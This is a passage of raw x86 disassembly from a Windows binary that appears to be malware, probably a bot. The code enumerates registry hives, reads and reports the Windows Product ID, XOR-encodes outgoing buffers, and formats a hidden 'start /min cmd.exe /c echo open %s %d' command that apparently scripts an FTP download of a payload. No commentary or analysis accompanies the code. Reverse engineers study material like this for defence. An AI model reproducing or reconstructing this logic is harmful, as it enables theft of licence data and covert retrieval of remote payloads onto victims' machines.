		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_43581C
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BCB+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_43581C:				; CODE XREF: sub_4356F0+FCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		call	near ptr 28E0000h
		nop
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 2
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000002h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 3
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435904
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	(offset	loc_446BBF+1)
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435904:				; CODE XREF: sub_4356F0+1E4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28E0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 4
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000005h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 5
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_4359EC
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset loc_446BB4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_4359EC:				; CODE XREF: sub_4356F0+2CCj
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28E0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+154h+var_12C], 80h
		call	sub_4011EA
		lea	ecx, [esp+144h+var_130]
		mov	dword ptr [esp+144h], 6
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000000h
		call	edi
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+14Ch+var_124]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+144h+var_12C]
		lea	edx, [esp+144h+var_108]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	dword ptr [esp+154h], 7
		call	sub_4017E4
		push	eax
		mov	eax, [esp+158h+var_130]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+144h+var_124]
		mov	[esp+144h], ebx
		setz	byte ptr [esp+144h+var_134+3]
		call	sub_401226
		mov	al, byte ptr [esp+144h+var_134+3]
		test	al, al
		jz	short loc_435AD4
		lea	ecx, [esp+144h+var_108]
		push	ecx
		push	offset aHkcrS	; "HKCR: %s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435AD4:				; CODE XREF: sub_4356F0+3B4j
		mov	ecx, [esp+144h+var_130]
		push	ecx
		nop
		call	near ptr 28E0000h
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+158h+var_130], 80h
		call	sub_4011EA
		lea	ecx, [esp+148h+var_134]
		mov	[esp+148h+var_4], 8
		push	ecx
		push	20019h
		push	0
		mov	ecx, eax
		call	sub_4017E4
		push	eax
		push	80000003h
		call	edi
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		call	sub_401226
		push	0
		push	offset asc_443600 ; " "
		lea	edx, [esp+150h+var_128]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+148h+var_130]
		lea	edx, [esp+148h+var_10C]
		push	ecx
		push	edx
		push	0
		push	0
		mov	ecx, eax
		mov	[esp+158h+var_4], 9
		call	sub_4017E4
		push	eax
		mov	eax, [esp+15Ch+var_134]
		push	eax
		call	ebp
		test	eax, eax
		lea	ecx, [esp+148h+var_128]
		mov	[esp+148h+var_4], ebx
		setz	[esp+148h+var_135]
		call	sub_401226
		mov	al, [esp+148h+var_135]
		pop	ebp
		test	al, al
		jz	short loc_435BBD
		lea	ecx, [esp+144h+var_10C]
		push	ecx
		push	offset aHkuS	; "HKU:	%s"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435BBD:				; CODE XREF: sub_4356F0+49Dj
		mov	ecx, [esp+144h+var_134]
		push	ecx
		jmp	loc_435C61
; ---------------------------------------------------------------------------


loc_435BC7:				; CODE XREF: sub_4356F0+3Cj
		lea	ecx, [edi+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_435C67
		lea	edx, [esp+144h+var_12C]
		mov	[esp+144h+var_12C], eax
		push	edx
		push	20019h
		push	eax
		push	offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+158h+var_110], 80h
		call	near ptr 291027Bh
		nop
		mov	edx, [esp+144h+var_12C]
		lea	eax, [esp+144h+var_110]
		lea	ecx, [esp+144h+var_8C]
		push	eax
		push	ecx
		push	0
		push	0
		push	offset aProductid ; "ProductId"
		push	edx
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jnz	short loc_435C5C
		lea	eax, [esp+144h+var_8C]
		lea	ecx, [esi+69h]
		push	eax
		push	offset aFoundWindowsPr ; "Found	Windows	Product	ID (%s)."
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_435C5C:				; CODE XREF: sub_4356F0+539j
		mov	eax, [esp+144h+var_12C]
		push	eax


loc_435C61:				; CODE XREF: sub_4356F0+4D2j
		call	near ptr 28E0000h
		nop


loc_435C67:				; CODE XREF: sub_4356F0+4E9j
		mov	ecx, [esp+144h+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 138h
		retn	4
sub_4356F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 170h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_435E00	proc near		; CODE XREF: sub_401334j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		test	esi, esi
		jle	short loc_435E1D
		mov	cl, [esp+4+arg_8]
		mov	edx, [esp+4+arg_0]


loc_435E13:				; CODE XREF: sub_435E00+1Bj
		cmp	[eax+edx], cl
		jz	short loc_435E21
		inc	eax
		cmp	eax, esi
		jl	short loc_435E13


loc_435E1D:				; CODE XREF: sub_435E00+9j
		pop	esi
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_435E21:				; CODE XREF: sub_435E00+16j
		pop	esi
		mov	al, 1
		retn
sub_435E00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_435E40:				; CODE XREF: ___:00401429j
		push	ecx
		mov	eax, [esp+18h]
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	eax
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 71AB2B66h
		mov	ebx, [esp+1Ch]
		and	eax, 0FFFFh
		push	ebx
		mov	[esp+2Ch], eax
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	near ptr 77C2C407h
		nop
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+38h]
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		rep movsd
		mov	ecx, [esp+30h]
		add	esp, 8
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	eax, [esp+34h]
		mov	ecx, [esp+2Ch]
		mov	[esp+1Ch], edx
		mov	[eax+ebp], cl
		mov	[eax+ebp+1], ch
		mov	cx, [esp+2Eh]
		mov	[eax+ebp+2], cl
		mov	[eax+ebp+3], ch
		mov	eax, [esp+38h]
		test	eax, eax
		jz	short loc_435EFC
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_435EFC:				; CODE XREF: ___:00435EF3j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_435F3E:				; CODE XREF: ___:00435FB7j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_435F7E
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_435FB9


loc_435F7E:				; CODE XREF: ___:00435F4Cj
					; ___:00435F5Cj ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_435FB0


loc_435FA3:				; CODE XREF: ___:00435FAEj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_435FA3


loc_435FB0:				; CODE XREF: ___:00435FA1j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_435F3E
; ---------------------------------------------------------------------------


loc_435FB9:				; CODE XREF: ___:00435F7Cj
		mov	eax, [esp+28h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4360A0:				; CODE XREF: ___:00401D61j
		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	dword ptr [esp+10h], 98h
		repne scasb
		mov	eax, [esp+1Ch]
		not	ecx
		dec	ecx
		lea	ebx, [ecx+eax+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 8
		rep movsd
		mov	esi, [esp+28h]
		or	ecx, 0FFFFFFFFh
		mov	edi, esi
		mov	[esp+18h], edx
		repne scasb
		mov	edx, [esp+1Ch]
		not	ecx
		mov	eax, ecx
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2Ch]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436152
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436152:				; CODE XREF: ___:00436149j
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+2Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+18h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436194:				; CODE XREF: ___:0043620Dj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4361D4
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_43620F


loc_4361D4:				; CODE XREF: ___:004361A2j
					; ___:004361B2j ...
		mov	esi, [esp+28h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_436206


loc_4361F9:				; CODE XREF: ___:00436204j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4361F9


loc_436206:				; CODE XREF: ___:004361F7j
		mov	edx, [esp+18h]
		mov	[edx+13h], cl
		jmp	short loc_436194
; ---------------------------------------------------------------------------


loc_43620F:				; CODE XREF: ___:004361D2j
		mov	eax, [esp+28h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+1Ch]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+1Ch]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_436300:				; CODE XREF: ___:00401FE1j
		mov	eax, 200Ch
		call	sub_436840
		mov	eax, [esp+2028h]
		mov	ecx, [esp+202Ch]
		push	ebx
		mov	edx, [esp+2028h]
		push	ebp
		push	esi
		push	edi
		push	eax
		push	eax
		mov	eax, [esp+2048h]
		push	eax
		mov	eax, [esp+203Ch]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+34h]
		push	offset aStartMinCmd_ex ; "start	/min cmd.exe /c	\"echo open %s %d "...
		push	ecx
		mov	dword ptr [esp+34h], 98h
		call	sub_5EFFD5
		nop
		lea	edi, [esp+3Ch]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	edx, [esp+2044h]
		repne scasb
		not	ecx
		dec	ecx
		lea	ebx, [ecx+edx+1]
		push	ebx
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+2044h]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		add	esp, 28h
		rep movsd
		lea	edi, [esp+1Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	[esp+10h], edx
		mov	edx, [esp+2024h]
		not	ecx
		mov	eax, ecx
		lea	esi, [esp+1Ch]
		lea	edi, [edx+ebp-2]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, [esp+2044h]
		and	ecx, 3
		test	eax, eax
		rep movsb
		jz	short loc_436402
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_436402:				; CODE XREF: ___:004363F9j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_436444:				; CODE XREF: ___:004364BDj
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_436484
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4364BF


loc_436484:				; CODE XREF: ___:00436452j
					; ___:00436462j ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+14h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+14h], ecx
		jle	short loc_4364B6


loc_4364A9:				; CODE XREF: ___:004364B4j
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4364A9


loc_4364B6:				; CODE XREF: ___:004364A7j
		mov	edx, [esp+10h]
		mov	[edx+13h], cl
		jmp	short loc_436444
; ---------------------------------------------------------------------------


loc_4364BF:				; CODE XREF: ___:00436482j
		mov	eax, [esp+18h]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+2030h]
		mov	edx, [esp+202Ch]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+14h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+14h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 200Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4365C0:				; CODE XREF: ___:00401910j
		push	ecx
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	esi
		push	edi
		push	ebx
		mov	dword ptr [esp+14h], 98h
		nop
		call	near ptr 77C2C407h
		mov	ecx, ebx
		mov	ebp, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebp
		mov	esi, [esp+1Ch]
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	18h
		and	ecx, 3
		rep stosb
		mov	ecx, ebx
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		nop
		call	near ptr 77C2C407h
		mov	edx, eax
		mov	ecx, 6
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, [esp+30h]
		add	esp, 8
		mov	ecx, 6
		mov	esi, (offset loc_446BD7+1)
		mov	edi, edx
		mov	[esp+1Ch], edx
		test	eax, eax
		rep movsd
		jz	short loc_43663D
		push	ebx
		push	ebp
		call	eax
		add	esp, 8


loc_43663D:				; CODE XREF: ___:00436634j
		push	ebx
		call	near ptr 77C2C407h
		nop
		mov	ecx, ebx
		mov	edx, eax
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		mov	[esp+1Ch], edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, ebp
		and	ecx, 3
		add	esp, 4
		rep stosb
		mov	ecx, ebx
		mov	edi, edx
		mov	edx, ecx
		mov	eax, [esp+1Ch]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	[eax+0Eh], bl
		mov	[eax+0Fh], bh


loc_43667F:				; CODE XREF: ___:004366F8j
		push	5Ch
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Ah
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jnz	short loc_4366BF
		push	0Dh
		push	ebx
		push	ebp
		call	sub_401334
		add	esp, 0Ch
		test	al, al
		jz	short loc_4366FA


loc_4366BF:				; CODE XREF: ___:0043668Dj
					; ___:0043669Dj ...
		mov	esi, [esp+18h]
		mov	ecx, ebx
		mov	eax, ecx
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+10h]
		inc	ecx
		test	ebx, ebx
		mov	[esp+10h], ecx
		jle	short loc_4366F1


loc_4366E4:				; CODE XREF: ___:004366EFj
		mov	dl, [eax+ebp]
		xor	dl, cl
		mov	[eax+ebp], dl
		inc	eax
		cmp	eax, ebx
		jl	short loc_4366E4


loc_4366F1:				; CODE XREF: ___:004366E2j
		mov	edx, [esp+1Ch]
		mov	[edx+13h], cl
		jmp	short loc_43667F
; ---------------------------------------------------------------------------


loc_4366FA:				; CODE XREF: ___:004366BDj
		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367C8	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		nop
		jmp	near ptr 77C227FAh
sub_4367C8	endp

; ---------------------------------------------------------------------------
		align 10h
dword_4367D0	dd 7FF738E9h, 0E9909F77h, 777E573Ch, 2BE5E990h					; ___:0043E018o ...
; ---------------------------------------------------------------------------
		jg	short loc_436859

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367E2	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_4367E2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0A2h, 12h
		dd 6DE97781h, 0EB778114h, 14EBE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4367FA	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		nop
		jmp	near ptr 77C29CC5h
sub_4367FA	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0E1h, 0ACh
; ---------------------------------------------------------------------------
		jle	short loc_43687D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E1D4
		retn	4
; ---------------------------------------------------------------------------


loc_436811:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436BCC
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_436827
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx


loc_436827:				; CODE XREF: ___:0043681Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436832	proc near		; CODE XREF: sub_409580+4Dp
					; ___:0040A99Dp
		jmp	near ptr 77C226F6h
sub_436832	endp

; ---------------------------------------------------------------------------
		db 71h
		db 90h
		db 0E9h, 4Ch, 97h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_436840	proc near		; CODE XREF: sub_40A030+5p
					; sub_40FF60+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436860


loc_43684C:				; CODE XREF: sub_436840+1Ej
